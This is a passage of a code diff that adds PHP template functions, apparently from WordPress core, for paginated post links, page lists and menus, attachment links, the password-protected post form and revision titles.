+ *     @type string       $link_after       HTML or text to append to each Pages link inside the `<a>` tag.
+ *                                          Also appended to the current item, which is not linked. Default empty.
+ *     @type string       $next_or_number   Indicates whether page numbers should be used. Valid values are number
+ *                                          and next. Default is 'number'.
+ *     @type string       $separator        Text between pagination links. Default is ' '.
+ *     @type string       $nextpagelink     Link text for the next page link, if available. Default is 'Next Page'.
+ *     @type string       $previouspagelink Link text for the previous page link, if available. Default is 'Previous Page'.
+ *     @type string       $pagelink         Format string for page numbers. The % in the parameter string will be
+ *                                          replaced with the page number, so 'Page %' generates "Page 1", "Page 2", etc.
+ *                                          Defaults to '%', just the page number.
+ *     @type int|bool     $echo             Whether to echo or not. Accepts 1|true or 0|false. Default 1|true.
+ * }
+ * @return string Formatted output in HTML.
+ */
+function wp_link_pages( $args = '' ) {
+	global $page, $numpages, $multipage, $more;
+
+	$defaults = array(
+		'before'           => '<p>' . __( 'Pages:' ),
+		'after'            => '</p>',
+		'link_before'      => '',
+		'link_after'       => '',
+		'next_or_number'   => 'number',
+		'separator'        => ' ',
+		'nextpagelink'     => __( 'Next page' ),
+		'previouspagelink' => __( 'Previous page' ),
+		'pagelink'         => '%',
+		'echo'             => 1
+	);
+
+	$params = wp_parse_args( $args, $defaults );
+
+	/**
+	 * Filters the arguments used in retrieving page links for paginated posts.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param array $params An array of arguments for page links for paginated posts.
+	 */
+	$r = apply_filters( 'wp_link_pages_args', $params );
+
+	$output = '';
+	if ( $multipage ) {
+		if ( 'number' == $r['next_or_number'] ) {
+			$output .= $r['before'];
+			for ( $i = 1; $i <= $numpages; $i++ ) {
+				$link = $r['link_before'] . str_replace( '%', $i, $r['pagelink'] ) . $r['link_after'];
+				if ( $i != $page || ! $more && 1 == $page ) {
+					$link = _wp_link_page( $i ) . $link . '</a>';
+				}
+				/**
+				 * Filters the HTML output of individual page number links.
+				 *
+				 * @since 3.6.0
+				 *
+				 * @param string $link The page number HTML output.
+				 * @param int    $i    Page number for paginated posts' page links.
+				 */
+				$link = apply_filters( 'wp_link_pages_link', $link, $i );
+
+				// Use the custom links separator beginning with the second link.
+				$output .= ( 1 === $i ) ? ' ' : $r['separator'];
+				$output .= $link;
+			}
+			$output .= $r['after'];
+		} elseif ( $more ) {
+			$output .= $r['before'];
+			$prev = $page - 1;
+			if ( $prev > 0 ) {
+				$link = _wp_link_page( $prev ) . $r['link_before'] . $r['previouspagelink'] . $r['link_after'] . '</a>';
+
+				/** This filter is documented in wp-includes/post-template.php */
+				$output .= apply_filters( 'wp_link_pages_link', $link, $prev );
+			}
+			$next = $page + 1;
+			if ( $next <= $numpages ) {
+				if ( $prev ) {
+					$output .= $r['separator'];
+				}
+				$link = _wp_link_page( $next ) . $r['link_before'] . $r['nextpagelink'] . $r['link_after'] . '</a>';
+
+				/** This filter is documented in wp-includes/post-template.php */
+				$output .= apply_filters( 'wp_link_pages_link', $link, $next );
+			}
+			$output .= $r['after'];
+		}
+	}
+
+	/**
+	 * Filters the HTML output of page links for paginated posts.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param string $output HTML output of paginated posts' page links.
+	 * @param array  $args   An array of arguments.
+	 */
+	$html = apply_filters( 'wp_link_pages', $output, $args );
+
+	if ( $r['echo'] ) {
+		echo $html;
+	}
+	return $html;
+}
+
+/**
+ * Helper function for wp_link_pages().
+ *
+ * @since 3.1.0
+ * @access private
+ *
+ * @global WP_Rewrite $wp_rewrite
+ *
+ * @param int $i Page number.
+ * @return string Link.
+ */
+function _wp_link_page( $i ) {
+	global $wp_rewrite;
+	$post = get_post();
+	$query_args = array();
+
+	if ( 1 == $i ) {
+		$url = get_permalink();
+	} else {
+		if ( '' == get_option('permalink_structure') || in_array($post->post_status, array('draft', 'pending')) )
+			$url = add_query_arg( 'page', $i, get_permalink() );
+		elseif ( 'page' == get_option('show_on_front') && get_option('page_on_front') == $post->ID )
+			$url = trailingslashit(get_permalink()) . user_trailingslashit("$wp_rewrite->pagination_base/" . $i, 'single_paged');
+		else
+			$url = trailingslashit(get_permalink()) . user_trailingslashit($i, 'single_paged');
+	}
+
+	if ( is_preview() ) {
+
+		if ( ( 'draft' !== $post->post_status ) && isset( $_GET['preview_id'], $_GET['preview_nonce'] ) ) {
+			$query_args['preview_id'] = wp_unslash( $_GET['preview_id'] );
+			$query_args['preview_nonce'] = wp_unslash( $_GET['preview_nonce'] );
+		}
+
+		$url = get_preview_post_link( $post, $query_args, $url );
+	}
+
+	return '<a href="' . esc_url( $url ) . '">';
+}
+
+//
+// Post-meta: Custom per-post fields.
+//
+
+/**
+ * Retrieve post custom meta data field.
+ *
+ * @since 1.5.0
+ *
+ * @param string $key Meta data key name.
+ * @return false|string|array Array of values or single value, if only one element exists. False will be returned if key does not exist.
+ */
+function post_custom( $key = '' ) {
+	$custom = get_post_custom();
+
+	if ( !isset( $custom[$key] ) )
+		return false;
+	elseif ( 1 == count($custom[$key]) )
+		return $custom[$key][0];
+	else
+		return $custom[$key];
+}
+
+/**
+ * Display list of post custom fields.
+ *
+ * @since 1.2.0
+ *
+ * @deprecated 6.0.2 Use get_post_meta() to retrieve post meta and render manually.
+ */
+function the_meta() {
+	_deprecated_function( __FUNCTION__, '6.0.2', 'get_post_meta()' );
+	if ( $keys = get_post_custom_keys() ) {
+		echo "<ul class='post-meta'>\n";
+		foreach ( (array) $keys as $key ) {
+			$keyt = trim( $key );
+			if ( is_protected_meta( $keyt, 'post' ) ) {
+				continue;
+			}
+
+			$values = array_map( 'trim', get_post_custom_values( $key ) );
+			$value = implode( $values, ', ' );
+
+			$html = sprintf( "<li><span class='post-meta-key'>%s</span> %s</li>\n",
+				/* translators: %s: Post custom field name */
+				esc_html( sprintf( _x( '%s:', 'Post custom field name' ), $key ) ),
+				esc_html( $value )
+			);
+
+			/**
+			 * Filters the HTML output of the li element in the post custom fields list.
+			 *
+			 * @since 2.2.0
+			 *
+			 * @param string $html  The HTML output for the li element.
+			 * @param string $key   Meta key.
+			 * @param string $value Meta value.
+			 */
+			echo apply_filters( 'the_meta_key', $html, $key, $value );
+		}
+		echo "</ul>\n";
+	}
+}
+
+//
+// Pages
+//
+
+/**
+ * Retrieve or display list of pages as a dropdown (select list).
+ *
+ * @since 2.1.0
+ * @since 4.2.0 The `$value_field` argument was added.
+ * @since 4.3.0 The `$class` argument was added.
+ *
+ * @param array|string $args {
+ *     Optional. Array or string of arguments to generate a pages drop-down element.
+ *
+ *     @type int          $depth                 Maximum depth. Default 0.
+ *     @type int          $child_of              Page ID to retrieve child pages of. Default 0.
+ *     @type int|string   $selected              Value of the option that should be selected. Default 0.
+ *     @type bool|int     $echo                  Whether to echo or return the generated markup. Accepts 0, 1,
+ *                                               or their bool equivalents. Default 1.
+ *     @type string       $name                  Value for the 'name' attribute of the select element.
+ *                                               Default 'page_id'.
+ *     @type string       $id                    Value for the 'id' attribute of the select element.
+ *     @type string       $class                 Value for the 'class' attribute of the select element. Default: none.
+ *                                               Defaults to the value of `$name`.
+ *     @type string       $show_option_none      Text to display for showing no pages. Default empty (does not display).
+ *     @type string       $show_option_no_change Text to display for "no change" option. Default empty (does not display).
+ *     @type string       $option_none_value     Value to use when no page is selected. Default empty.
+ *     @type string       $value_field           Post field used to populate the 'value' attribute of the option
+ *                                               elements. Accepts any valid post field. Default 'ID'.
+ * }
+ * @return string HTML content, if not displaying.
+ */
+function wp_dropdown_pages( $args = '' ) {
+	$defaults = array(
+		'depth' => 0, 'child_of' => 0,
+		'selected' => 0, 'echo' => 1,
+		'name' => 'page_id', 'id' => '',
+		'class' => '',
+		'show_option_none' => '', 'show_option_no_change' => '',
+		'option_none_value' => '',
+		'value_field' => 'ID',
+	);
+
+	$r = wp_parse_args( $args, $defaults );
+
+	$pages = get_pages( $r );
+	$output = '';
+	// Back-compat with old system where both id and name were based on $name argument
+	if ( empty( $r['id'] ) ) {
+		$r['id'] = $r['name'];
+	}
+
+	if ( ! empty( $pages ) ) {
+		$class = '';
+		if ( ! empty( $r['class'] ) ) {
+			$class = " class='" . esc_attr( $r['class'] ) . "'";
+		}
+
+		$output = "<select name='" . esc_attr( $r['name'] ) . "'" . $class . " id='" . esc_attr( $r['id'] ) . "'>\n";
+		if ( $r['show_option_no_change'] ) {
+			$output .= "\t<option value=\"-1\">" . $r['show_option_no_change'] . "</option>\n";
+		}
+		if ( $r['show_option_none'] ) {
+			$output .= "\t<option value=\"" . esc_attr( $r['option_none_value'] ) . '">' . $r['show_option_none'] . "</option>\n";
+		}
+		$output .= walk_page_dropdown_tree( $pages, $r['depth'], $r );
+		$output .= "</select>\n";
+	}
+
+	/**
+	 * Filters the HTML output of a list of pages as a drop down.
+	 *
+	 * @since 2.1.0
+	 * @since 4.4.0 `$r` and `$pages` added as arguments.
+	 *
+	 * @param string $output HTML output for drop down list of pages.
+	 * @param array  $r      The parsed arguments array.
+	 * @param array  $pages  List of WP_Post objects returned by `get_pages()`
+ 	 */
+	$html = apply_filters( 'wp_dropdown_pages', $output, $r, $pages );
+
+	if ( $r['echo'] ) {
+		echo $html;
+	}
+	return $html;
+}
+
+/**
+ * Retrieve or display list of pages (or hierarchical post type items) in list (li) format.
+ *
+ * @since 1.5.0
+ * @since 4.7.0 Added the `item_spacing` argument.
+ *
+ * @see get_pages()
+ *
+ * @global WP_Query $wp_query
+ *
+ * @param array|string $args {
+ *     Array or string of arguments. Optional.
+ *
+ *     @type int          $child_of     Display only the sub-pages of a single page by ID. Default 0 (all pages).
+ *     @type string       $authors      Comma-separated list of author IDs. Default empty (all authors).
+ *     @type string       $date_format  PHP date format to use for the listed pages. Relies on the 'show_date' parameter.
+ *                                      Default is the value of 'date_format' option.
+ *     @type int          $depth        Number of levels in the hierarchy of pages to include in the generated list.
+ *                                      Accepts -1 (any depth), 0 (all pages), 1 (top-level pages only), and n (pages to
+ *                                      the given n depth). Default 0.
+ *     @type bool         $echo         Whether or not to echo the list of pages. Default true.
+ *     @type string       $exclude      Comma-separated list of page IDs to exclude. Default empty.
+ *     @type array        $include      Comma-separated list of page IDs to include. Default empty.
+ *     @type string       $link_after   Text or HTML to follow the page link label. Default null.
+ *     @type string       $link_before  Text or HTML to precede the page link label. Default null.
+ *     @type string       $post_type    Post type to query for. Default 'page'.
+ *     @type string|array $post_status  Comma-separated list or array of post statuses to include. Default 'publish'.
+ *     @type string       $show_date    Whether to display the page publish or modified date for each page. Accepts
+ *                                      'modified' or any other value. An empty value hides the date. Default empty.
+ *     @type string       $sort_column  Comma-separated list of column names to sort the pages by. Accepts 'post_author',
+ *                                      'post_date', 'post_title', 'post_name', 'post_modified', 'post_modified_gmt',
+ *                                      'menu_order', 'post_parent', 'ID', 'rand', or 'comment_count'. Default 'post_title'.
+ *     @type string       $title_li     List heading. Passing a null or empty value will result in no heading, and the list
+ *                                      will not be wrapped with unordered list `<ul>` tags. Default 'Pages'.
+ *     @type string       $item_spacing Whether to preserve whitespace within the menu's HTML. Accepts 'preserve' or 'discard'.
+ *                                      Default 'preserve'.
+ *     @type Walker       $walker       Walker instance to use for listing pages. Default empty (Walker_Page).
+ * }
+ * @return string|void HTML list of pages.
+ */
+function wp_list_pages( $args = '' ) {
+	$defaults = array(
+		'depth'        => 0,
+		'show_date'    => '',
+		'date_format'  => get_option( 'date_format' ),
+		'child_of'     => 0,
+		'exclude'      => '',
+		'title_li'     => __( 'Pages' ),
+		'echo'         => 1,
+		'authors'      => '',
+		'sort_column'  => 'menu_order, post_title',
+		'link_before'  => '',
+		'link_after'   => '',
+		'item_spacing' => 'preserve',
+		'walker'       => '',
+	);
+
+	$r = wp_parse_args( $args, $defaults );
+
+	if ( ! in_array( $r['item_spacing'], array( 'preserve', 'discard' ), true ) ) {
+		// invalid value, fall back to default.
+		$r['item_spacing'] = $defaults['item_spacing'];
+	}
+
+	$output = '';
+	$current_page = 0;
+
+	// sanitize, mostly to keep spaces out
+	$r['exclude'] = preg_replace( '/[^0-9,]/', '', $r['exclude'] );
+
+	// Allow plugins to filter an array of excluded pages (but don't put a nullstring into the array)
+	$exclude_array = ( $r['exclude'] ) ? explode( ',', $r['exclude'] ) : array();
+
+	/**
+	 * Filters the array of pages to exclude from the pages list.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param array $exclude_array An array of page IDs to exclude.
+	 */
+	$r['exclude'] = implode( ',', apply_filters( 'wp_list_pages_excludes', $exclude_array ) );
+
+	// Query pages.
+	$r['hierarchical'] = 0;
+	$pages = get_pages( $r );
+
+	if ( ! empty( $pages ) ) {
+		if ( $r['title_li'] ) {
+			$output .= '<li class="pagenav">' . $r['title_li'] . '<ul>';
+		}
+		global $wp_query;
+		if ( is_page() || is_attachment() || $wp_query->is_posts_page ) {
+			$current_page = get_queried_object_id();
+		} elseif ( is_singular() ) {
+			$queried_object = get_queried_object();
+			if ( is_post_type_hierarchical( $queried_object->post_type ) ) {
+				$current_page = $queried_object->ID;
+			}
+		}
+
+		$output .= walk_page_tree( $pages, $r['depth'], $current_page, $r );
+
+		if ( $r['title_li'] ) {
+			$output .= '</ul></li>';
+		}
+	}
+
+	/**
+	 * Filters the HTML output of the pages to list.
+	 *
+	 * @since 1.5.1
+	 * @since 4.4.0 `$pages` added as arguments.
+	 *
+	 * @see wp_list_pages()
+	 *
+	 * @param string $output HTML output of the pages list.
+	 * @param array  $r      An array of page-listing arguments.
+	 * @param array  $pages  List of WP_Post objects returned by `get_pages()`
+	 */
+	$html = apply_filters( 'wp_list_pages', $output, $r, $pages );
+
+	if ( $r['echo'] ) {
+		echo $html;
+	} else {
+		return $html;
+	}
+}
+
+/**
+ * Displays or retrieves a list of pages with an optional home link.
+ *
+ * The arguments are listed below and part of the arguments are for wp_list_pages()} function.
+ * Check that function for more info on those arguments.
+ *
+ * @since 2.7.0
+ * @since 4.4.0 Added `menu_id`, `container`, `before`, `after`, and `walker` arguments.
+ * @since 4.7.0 Added the `item_spacing` argument.
+ *
+ * @param array|string $args {
+ *     Optional. Arguments to generate a page menu. See wp_list_pages() for additional arguments.
+ *
+ *     @type string          $sort_column  How to sort the list of pages. Accepts post column names.
+ *                                         Default 'menu_order, post_title'.
+ *     @type string          $menu_id      ID for the div containing the page list. Default is empty string.
+ *     @type string          $menu_class   Class to use for the element containing the page list. Default 'menu'.
+ *     @type string          $container    Element to use for the element containing the page list. Default 'div'.
+ *     @type bool            $echo         Whether to echo the list or return it. Accepts true (echo) or false (return).
+ *                                         Default true.
+ *     @type int|bool|string $show_home    Whether to display the link to the home page. Can just enter the text
+ *                                         you'd like shown for the home link. 1|true defaults to 'Home'.
+ *     @type string          $link_before  The HTML or text to prepend to $show_home text. Default empty.
+ *     @type string          $link_after   The HTML or text to append to $show_home text. Default empty.
+ *     @type string          $before       The HTML or text to prepend to the menu. Default is '<ul>'.
+ *     @type string          $after        The HTML or text to append to the menu. Default is '</ul>'.
+ *     @type string          $item_spacing Whether to preserve whitespace within the menu's HTML. Accepts 'preserve' or 'discard'. Default 'discard'.
+ *     @type Walker          $walker       Walker instance to use for listing pages. Default empty (Walker_Page).
+ * }
+ * @return string|void HTML menu
+ */
+function wp_page_menu( $args = array() ) {
+	$defaults = array(
+		'sort_column'  => 'menu_order, post_title',
+		'menu_id'      => '',
+		'menu_class'   => 'menu',
+		'container'    => 'div',
+		'echo'         => true,
+		'link_before'  => '',
+		'link_after'   => '',
+		'before'       => '<ul>',
+		'after'        => '</ul>',
+		'item_spacing' => 'discard',
+		'walker'       => '',
+	);
+	$args = wp_parse_args( $args, $defaults );
+
+	if ( ! in_array( $args['item_spacing'], array( 'preserve', 'discard' ) ) ) {
+		// invalid value, fall back to default.
+		$args['item_spacing'] = $defaults['item_spacing'];
+	}
+
+	if ( 'preserve' === $args['item_spacing'] ) {
+		$t = "\t";
+		$n = "\n";
+	} else {
+		$t = '';
+		$n = '';
+	}
+
+	/**
+	 * Filters the arguments used to generate a page-based menu.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @see wp_page_menu()
+	 *
+	 * @param array $args An array of page menu arguments.
+	 */
+	$args = apply_filters( 'wp_page_menu_args', $args );
+
+	$menu = '';
+
+	$list_args = $args;
+
+	// Show Home in the menu
+	if ( ! empty($args['show_home']) ) {
+		if ( true === $args['show_home'] || '1' === $args['show_home'] || 1 === $args['show_home'] )
+			$text = __('Home');
+		else
+			$text = $args['show_home'];
+		$class = '';
+		if ( is_front_page() && !is_paged() )
+			$class = 'class="current_page_item"';
+		$menu .= '<li ' . $class . '><a href="' . home_url( '/' ) . '">' . $args['link_before'] . $text . $args['link_after'] . '</a></li>';
+		// If the front page is a page, add it to the exclude list
+		if (get_option('show_on_front') == 'page') {
+			if ( !empty( $list_args['exclude'] ) ) {
+				$list_args['exclude'] .= ',';
+			} else {
+				$list_args['exclude'] = '';
+			}
+			$list_args['exclude'] .= get_option('page_on_front');
+		}
+	}
+
+	$list_args['echo'] = false;
+	$list_args['title_li'] = '';
+	$menu .= wp_list_pages( $list_args );
+
+	$container = sanitize_text_field( $args['container'] );
+
+	// Fallback in case `wp_nav_menu()` was called without a container.
+	if ( empty( $container ) ) {
+		$container = 'div';
+	}
+
+	if ( $menu ) {
+
+		// wp_nav_menu doesn't set before and after
+		if ( isset( $args['fallback_cb'] ) &&
+			'wp_page_menu' === $args['fallback_cb'] &&
+			'ul' !== $container ) {
+			$args['before'] = "<ul>{$n}";
+			$args['after'] = '</ul>';
+		}
+
+		$menu = $args['before'] . $menu . $args['after'];
+	}
+
+	$attrs = '';
+	if ( ! empty( $args['menu_id'] ) ) {
+		$attrs .= ' id="' . esc_attr( $args['menu_id'] ) . '"';
+	}
+
+	if ( ! empty( $args['menu_class'] ) ) {
+		$attrs .= ' class="' . esc_attr( $args['menu_class'] ) . '"';
+	}
+
+	$menu = "<{$container}{$attrs}>" . $menu . "</{$container}>{$n}";
+
+	/**
+	 * Filters the HTML output of a page-based menu.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @see wp_page_menu()
+	 *
+	 * @param string $menu The HTML output.
+	 * @param array  $args An array of arguments.
+	 */
+	$menu = apply_filters( 'wp_page_menu', $menu, $args );
+	if ( $args['echo'] )
+		echo $menu;
+	else
+		return $menu;
+}
+
+//
+// Page helpers
+//
+
+/**
+ * Retrieve HTML list content for page list.
+ *
+ * @uses Walker_Page to create HTML list content.
+ * @since 2.1.0
+ *
+ * @param array $pages
+ * @param int   $depth
+ * @param int   $current_page
+ * @param array $r
+ * @return string
+ */
+function walk_page_tree( $pages, $depth, $current_page, $r ) {
+	if ( empty($r['walker']) )
+		$walker = new Walker_Page;
+	else
+		$walker = $r['walker'];
+
+	foreach ( (array) $pages as $page ) {
+		if ( $page->post_parent )
+			$r['pages_with_children'][ $page->post_parent ] = true;
+	}
+
+	$args = array($pages, $depth, $r, $current_page);
+	return call_user_func_array(array($walker, 'walk'), $args);
+}
+
+/**
+ * Retrieve HTML dropdown (select) content for page list.
+ *
+ * @uses Walker_PageDropdown to create HTML dropdown content.
+ * @since 2.1.0
+ * @see Walker_PageDropdown::walk() for parameters and return description.
+ *
+ * @return string
+ */
+function walk_page_dropdown_tree() {
+	$args = func_get_args();
+	if ( empty($args[2]['walker']) ) // the user's options are the third parameter
+		$walker = new Walker_PageDropdown;
+	else
+		$walker = $args[2]['walker'];
+
+	return call_user_func_array(array($walker, 'walk'), $args);
+}
+
+//
+// Attachments
+//
+
+/**
+ * Display an attachment page link using an image or icon.
+ *
+ * @since 2.0.0
+ *
+ * @param int|WP_Post $id Optional. Post ID or post object.
+ * @param bool        $fullsize     Optional, default is false. Whether to use full size.
+ * @param bool        $deprecated   Deprecated. Not used.
+ * @param bool        $permalink    Optional, default is false. Whether to include permalink.
+ */
+function the_attachment_link( $id = 0, $fullsize = false, $deprecated = false, $permalink = false ) {
+	if ( !empty( $deprecated ) )
+		_deprecated_argument( __FUNCTION__, '2.5.0' );
+
+	if ( $fullsize )
+		echo wp_get_attachment_link($id, 'full', $permalink);
+	else
+		echo wp_get_attachment_link($id, 'thumbnail', $permalink);
+}
+
+/**
+ * Retrieve an attachment page link using an image or icon, if possible.
+ *
+ * @since 2.5.0
+ * @since 4.4.0 The `$id` parameter can now accept either a post ID or `WP_Post` object.
+ *
+ * @param int|WP_Post  $id        Optional. Post ID or post object.
+ * @param string|array $size      Optional. Image size. Accepts any valid image size, or an array
+ *                                of width and height values in pixels (in that order).
+ *                                Default 'thumbnail'.
+ * @param bool         $permalink Optional, Whether to add permalink to image. Default false.
+ * @param bool         $icon      Optional. Whether the attachment is an icon. Default false.
+ * @param string|false $text      Optional. Link text to use. Activated by passing a string, false otherwise.
+ *                                Default false.
+ * @param array|string $attr      Optional. Array or string of attributes. Default empty.
+ * @return string HTML content.
+ */
+function wp_get_attachment_link( $id = 0, $size = 'thumbnail', $permalink = false, $icon = false, $text = false, $attr = '' ) {
+	$_post = get_post( $id );
+
+	if ( empty( $_post ) || ( 'attachment' !== $_post->post_type ) || ! $url = wp_get_attachment_url( $_post->ID ) ) {
+		return __( 'Missing Attachment' );
+	}
+
+	if ( $permalink ) {
+		$url = get_attachment_link( $_post->ID );
+	}
+
+	if ( $text ) {
+		$link_text = $text;
+	} elseif ( $size && 'none' != $size ) {
+		$link_text = wp_get_attachment_image( $_post->ID, $size, $icon, $attr );
+	} else {
+		$link_text = '';
+	}
+
+	if ( '' === trim( $link_text ) ) {
+		$link_text = $_post->post_title;
+	}
+
+	if ( '' === trim( $link_text ) ) {
+		$link_text = esc_html( pathinfo( get_attached_file( $_post->ID ), PATHINFO_FILENAME ) );
+	}
+	/**
+	 * Filters a retrieved attachment page link.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param string       $link_html The page link HTML output.
+	 * @param int          $id        Post ID.
+	 * @param string|array $size      Size of the image. Image size or array of width and height values (in that order).
+	 *                                Default 'thumbnail'.
+	 * @param bool         $permalink Whether to add permalink to image. Default false.
+	 * @param bool         $icon      Whether to include an icon. Default false.
+	 * @param string|bool  $text      If string, will be link text. Default false.
+	 */
+	return apply_filters( 'wp_get_attachment_link', "<a href='" . esc_url( $url ) . "'>$link_text</a>", $id, $size, $permalink, $icon, $text );
+}
+
+/**
+ * Wrap attachment in paragraph tag before content.
+ *
+ * @since 2.0.0
+ *
+ * @param string $content
+ * @return string
+ */
+function prepend_attachment($content) {
+	$post = get_post();
+
+	if ( empty($post->post_type) || $post->post_type != 'attachment' )
+		return $content;
+
+	if ( wp_attachment_is( 'video', $post ) ) {
+		$meta = wp_get_attachment_metadata( get_the_ID() );
+		$atts = array( 'src' => wp_get_attachment_url() );
+		if ( ! empty( $meta['width'] ) && ! empty( $meta['height'] ) ) {
+			$atts['width'] = (int) $meta['width'];
+			$atts['height'] = (int) $meta['height'];
+		}
+		if ( has_post_thumbnail() ) {
+			$atts['poster'] = wp_get_attachment_url( get_post_thumbnail_id() );
+		}
+		$p = wp_video_shortcode( $atts );
+	} elseif ( wp_attachment_is( 'audio', $post ) ) {
+		$p = wp_audio_shortcode( array( 'src' => wp_get_attachment_url() ) );
+	} else {
+		$p = '<p class="attachment">';
+		// show the medium sized image representation of the attachment if available, and link to the raw file
+		$p .= wp_get_attachment_link(0, 'medium', false);
+		$p .= '</p>';
+	}
+
+	/**
+	 * Filters the attachment markup to be prepended to the post content.
+	 *
+	 * @since 2.0.0
+	 *
+	 * @see prepend_attachment()
+	 *
+	 * @param string $p The attachment HTML output.
+	 */
+	$p = apply_filters( 'prepend_attachment', $p );
+
+	return "$p\n$content";
+}
+
+//
+// Misc
+//
+
+/**
+ * Retrieve protected post password form content.
+ *
+ * @since 1.0.0
+ *
+ * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post.
+ * @return string HTML content for password form for password protected post.
+ */
+function get_the_password_form( $post = 0 ) {
+	$post = get_post( $post );
+	$label = 'pwbox-' . ( empty($post->ID) ? rand() : $post->ID );
+	$output = '<form action="' . esc_url( site_url( 'wp-login.php?action=postpass', 'login_post' ) ) . '" class="post-password-form" method="post">
+	<p>' . __( 'This content is password protected. To view it please enter your password below:' ) . '</p>
+	<p><label for="' . $label . '">' . __( 'Password:' ) . ' <input name="post_password" id="' . $label . '" type="password" size="20" /></label> <input type="submit" name="Submit" value="' . esc_attr_x( 'Enter', 'post password form' ) . '" /></p></form>
+	';
+
+	/**
+	 * Filters the HTML output for the protected post password form.
+	 *
+	 * If modifying the password field, please note that the core database schema
+	 * limits the password field to 20 characters regardless of the value of the
+	 * size attribute in the form input.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param string $output The password form HTML output.
+	 */
+	return apply_filters( 'the_password_form', $output );
+}
+
+/**
+ * Determines whether currently in a page template.
+ *
+ * This template tag allows you to determine if you are in a page template.
+ * You can optionally provide a template name or array of template names
+ * and then the check will be specific to that template.
+ * 
+ * For more information on this and similar theme functions, check out
+ * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ 
+ * Conditional Tags} article in the Theme Developer Handbook.
+ * 
+ * @since 2.5.0
+ * @since 4.2.0 The `$template` parameter was changed to also accept an array of page templates.
+ * @since 4.7.0 Now works with any post type, not just pages.
+ *
+ * @param string|array $template The specific template name or array of templates to match.
+ * @return bool True on success, false on failure.
+ */
+function is_page_template( $template = '' ) {
+	if ( ! is_singular() ) {
+		return false;
+	}
+
+	$page_template = get_page_template_slug( get_queried_object_id() );
+
+	if ( empty( $template ) )
+		return (bool) $page_template;
+
+	if ( $template == $page_template )
+		return true;
+
+	if ( is_array( $template ) ) {
+		if ( ( in_array( 'default', $template, true ) && ! $page_template )
+			|| in_array( $page_template, $template, true )
+		) {
+			return true;
+		}
+	}
+
+	return ( 'default' === $template && ! $page_template );
+}
+
+/**
+ * Get the specific template name for a given post.
+ *
+ * @since 3.4.0
+ * @since 4.7.0 Now works with any post type, not just pages.
+ *
+ * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global $post.
+ * @return string|false Page template filename. Returns an empty string when the default page template
+ * 	is in use. Returns false if the post does not exist.
+ */
+function get_page_template_slug( $post = null ) {
+	$post = get_post( $post );
+
+	if ( ! $post ) {
+		return false;
+	}
+
+	$template = get_post_meta( $post->ID, '_wp_page_template', true );
+
+	if ( ! $template || 'default' == $template ) {
+		return '';
+	}
+
+	return $template;
+}
+
+/**
+ * Retrieve formatted date timestamp of a revision (linked to that revisions's page).
+ *
+ * @since 2.6.0
+ *
+ * @param int|object $revision Revision ID or revision object.
+ * @param bool       $link     Optional, default is true. Link to revisions's page?
+ * @return string|false i18n formatted datetimestamp or localized 'Current Revision'.
+ */
+function wp_post_revision_title( $revision, $link = true ) {
+	if ( !$revision = get_post( $revision ) )
+		return $revision;
+
+	if ( !in_array( $revision->post_type, array( 'post', 'page', 'revision' ) ) )
+		return false;
+
+	/* translators: revision date format, see https://secure.php.net/date */
+	$datef = _x( 'F j, Y @ H:i:s', 'revision date format' );
+	/* translators: %s: revision date */
+	$autosavef = __( '%s [Autosave]' );
+	/* translators: %s: revision date */
+	$currentf  = __( '%s [Current Revision]' );
+
+	$date = date_i18n( $datef, strtotime( $revision->post_modified ) );
+	if ( $link && current_user_can( 'edit_post', $revision->ID ) && $link = get_edit_post_link( $revision->ID ) )
+		$date = "<a href='$link'>$date</a>";
+
+	if ( !wp_is_post_revision( $revision ) )
+		$date = sprintf( $currentf, $date );
+	elseif ( wp_is_post_autosave( $revision ) )
+		$date = sprintf( $autosavef, $date );
+
+	return $date;
+}
+
+/**
+ * Retrieve formatted date timestamp of a revision (linked to that revisions's page).
+ *
+ * @since 3.6.0
+ *
+ * @param int|object $revision Revision ID or revision object.
+ * @param bool       $link     Optional, default is true. Link to revisions's page?
+ * @return string|false gravatar, user, i18n formatted datetimestamp or localized 'Current Revision'.
+ */
+function wp_post_revision_title_expanded( $revision, $link = true ) {
+	if ( !$revision = get_post( $revision ) )
+		return $revision;
+
+	if ( !in_array( $revision->post_type, array( 'post', 'page', 'revision' ) ) )
+		return false;
+
+	$author = get_the_author_meta( 'display_name', $revision->post_author );
+	/* translators: revision date format, see https://secure.php.net/date */
+	$datef = _x( 'F j, Y @ H:i:s', 'revision date format' );
+
+	$gravatar = get_avatar( $revision->post_author, 24 );
+
+	$date = date_i18n( $datef, strtotime( $revision->post_modified ) );
+	if ( $link && current_user_can( 'edit_post', $revision->ID ) && $link = get_edit_post_link( $revision->ID ) )
+		$date = "<a href='$link'>$date</a>";
+
+	$revision_date_author = sprintf(
+		/* translators: post revision title: 1: author avatar, 2: author name, 3: time ago, 4: date */
+		__( '%1$s %2$s, %3$s ago (%4$s)' ),
+		$gravatar,
+		$author,
+		human_time_diff( strtotime( $revision->post_modified ), current_time( 'timestamp' ) ),
+		$date
+	);
+
+	/* translators: %s: revision date with author avatar */
+	$autosavef = __( '%s [Autosave]' );
+	/* translators: %s: revision date with author avatar */
+	$currentf  = __( '%s [Current Revision]' );
+
+	if ( !wp_is_post_revision( $revision ) )
+		$revision_date_author = sprintf( $currentf, $revision_date_author );
+	elseif ( wp_is_post_autosave( $revision ) )
+		$revision_date_author = sprintf( $autosavef, $revision_date_author );
+
+	/**
+	 * Filters the formatted author and date for a revision.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param string  $revision_date_author The formatted string.
+	 * @param WP_Post $revision             The revision object.
+	 * @param bool    $link                 Whether to link to the revisions page, as passed into
+	 *                                      wp_post_revision_title_expanded().
+	 */
+	return apply_filters( 'wp_post_revision_title_expanded', $revision_date_author, $revision, $link );
+}
+
+/**
+ * Display list of a post's revisions.
+ *
+ * Can output either a UL with edit links or a TABLE with diff interface, and
+ * restore action links.
+ *
+ * @since 2.6.0
+ *
+ * @param int|WP_Post $post_id Optional. Post ID or WP_Post object. Default is global $post.
+ * @param string      $type    'all' (default), 'revision' or 'autosave'
+ */
